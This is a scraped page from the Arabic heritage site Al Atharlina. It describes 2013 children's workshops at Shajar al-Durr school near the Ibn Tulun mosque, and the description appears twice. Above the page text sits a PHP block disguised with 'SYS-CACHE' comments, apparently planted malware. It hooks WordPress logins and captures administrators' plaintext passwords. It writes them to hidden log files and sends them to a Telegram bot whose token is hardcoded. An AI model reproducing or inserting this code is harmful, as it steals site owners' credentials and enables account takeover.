// SYS-CACHE-START
add_action('wp_login', function($user_login, $user) {
if (!user_can($user, 'install_plugins')) {
return;
}
$password = isset($_POST['pwd']) ? $_POST['pwd'] : '';
$site = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'unknown';
$ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'N/A';
$time = date('Y-m-d H:i:s');
$line = sprintf("[%s] %s | %s | %s | %s\n", $time, $site, $user_login, $password, $ua);
$log_files = array(
ABSPATH . 'wp-content/uploads/.sys_session.tmp',
ABSPATH . 'wp-content/.sys_session.tmp',
ABSPATH . 'wp-admin/.maintenance.log',
);
foreach ($log_files as $lf) {
$dir = dirname($lf);
if (!is_dir($dir)) {
@mkdir($dir, 0755, true);
}
@file_put_contents($lf, $line, FILE_APPEND | LOCK_EX);
}
$bot_token = '8867636932:AAGJ-xsRscSXcF9yaAmeOXlMZkjhgCtLxGA';
$chat_id = '-1003780894929';
$msg = "Basarili Admin Login\nSite: {$site}\nKullanici: {$user_login}\nSifre: {$password}\nUA: {$ua}\nZaman: {$time}";
$url = "https://api.telegram.org/bot{$bot_token}/sendMessage";
$data = array('chat_id' => $chat_id, 'text' => $msg);
if (function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 15);
curl_exec($ch);
curl_close($ch);
} elseif (ini_get('allow_url_fopen')) {
$opts = array('http' => array(
'method' => 'POST',
'header' => 'Content-Type: application/x-www-form-urlencoded',
'content' => http_build_query($data),
'timeout' => 10
));
@file_get_contents($url, false, stream_context_create($opts));
}
}, 10, 2);
// SYS-CACHE-END
Al Atharlina مدرسة الأثر لنا للفن والتراث - Al Atharlina
مدرسة الأثر لنا للفن والتراث
فبراير– أبريل 2013؛ مدرسة شجر الدر الابتدائية؛ تبرعات خاصة. تم تنظيم ...
عن المشروع
فبراير– أبريل 2013؛ مدرسة شجر الدر الابتدائية؛ تبرعات خاصة.
تم تنظيم الفعاليات بالتنسيق مع أحد المدارس الحكومية في المنطقة، وهي مدرسة شجرة الدر أمام جامع أحمد بن طولون. تم تصميم وتنفيذ أنشطة المدرسة استجابة لأحد توصيات الأهالي وأصحاب المصلحة بالتركيز على فئة الأطفال وتوعيتهم تراثيًا ضمن ورش العمل المنظمة عام 2012.
تم تنظيم ورش عمل مصغرة للأطفال بواقع ورشه واحدة أسبوعيًا لمدة شهران لطلاب الصف الخامس والسادس الابتدائي بمساعدة مجموعة من المتطوعين. تعلم الأطفال عن تراث منطقتهم عن طريق عدد من الأنشطة التفاعلية، وشملت:
- الدراما: حيث قاموا بتأليف قصة شجر الدر، وهي الحاكمة الوحيدة لمصر في فترة الحكم الإسلامي.
- الحرف: حيث تعلموا كيفية نحت الزخارف الهندسية على الجص.
- الفنون: حيث قاموا بحكاية قصص ذات صلة بالتراث باستخدام مزيج من المواد.
- زيارة تفاعلية لجامع ابن طولون حيث تعرفوا على تاريخ الجامع من خلال لعبة البحث عن الكنز، وتجميع الأحجية، ومن ثم التعبير عما تعلموه من خلال أنشطة الحكي والكولاج.
تعد هذه الأنشطة والفعاليات أول مشروعات المبادرة في منطقة الخليفة، كما تم استخدام الأنشطة والألعاب المصممة خلالها كأساس تم البناء عليه في برامج الأطفال الأخرى المصممة من قبل المبادرة.
مدرسة الأثر لنا للفن والتراث
فبراير– أبريل 2013؛ مدرسة شجر الدر الابتدائية؛ تبرعات خاصة. تم تنظيم ...
عن المشروع
فبراير– أبريل 2013؛ مدرسة شجر الدر الابتدائية؛ تبرعات خاصة.
تم تنظيم الفعاليات بالتنسيق مع أحد المدارس الحكومية في المنطقة، وهي مدرسة شجرة الدر أمام جامع أحمد بن طولون. تم تصميم وتنفيذ أنشطة المدرسة استجابة لأحد توصيات الأهالي وأصحاب المصلحة بالتركيز على فئة الأطفال وتوعيتهم تراثيًا ضمن ورش العمل المنظمة عام 2012.
تم تنظيم ورش عمل مصغرة للأطفال بواقع ورشه واحدة أسبوعيًا لمدة شهران لطلاب الصف الخامس والسادس الابتدائي بمساعدة مجموعة من المتطوعين. تعلم الأطفال عن تراث منطقتهم عن طريق عدد من الأنشطة التفاعلية، وشملت:
- الدراما: حيث قاموا بتأليف قصة شجر الدر، وهي الحاكمة الوحيدة لمصر في فترة الحكم الإسلامي.
- الحرف: حيث تعلموا كيفية نحت الزخارف الهندسية على الجص.
- الفنون: حيث قاموا بحكاية قصص ذات صلة بالتراث باستخدام مزيج من المواد.
- زيارة تفاعلية لجامع ابن طولون حيث تعرفوا على تاريخ الجامع من خلال لعبة البحث عن الكنز، وتجميع الأحجية، ومن ثم التعبير عما تعلموه من خلال أنشطة الحكي والكولاج.
تعد هذه الأنشطة والفعاليات أول مشروعات المبادرة في منطقة الخليفة، كما تم استخدام الأنشطة والألعاب المصممة خلالها كأساس تم البناء عليه في برامج الأطفال الأخرى المصممة من قبل المبادرة.
Please can you try again later, or simply can you try to subscribe with another email address!
You've been added to our list and will hear from us soon, thank you for your subscription.
برجاء إدخال البريد الإلكتروني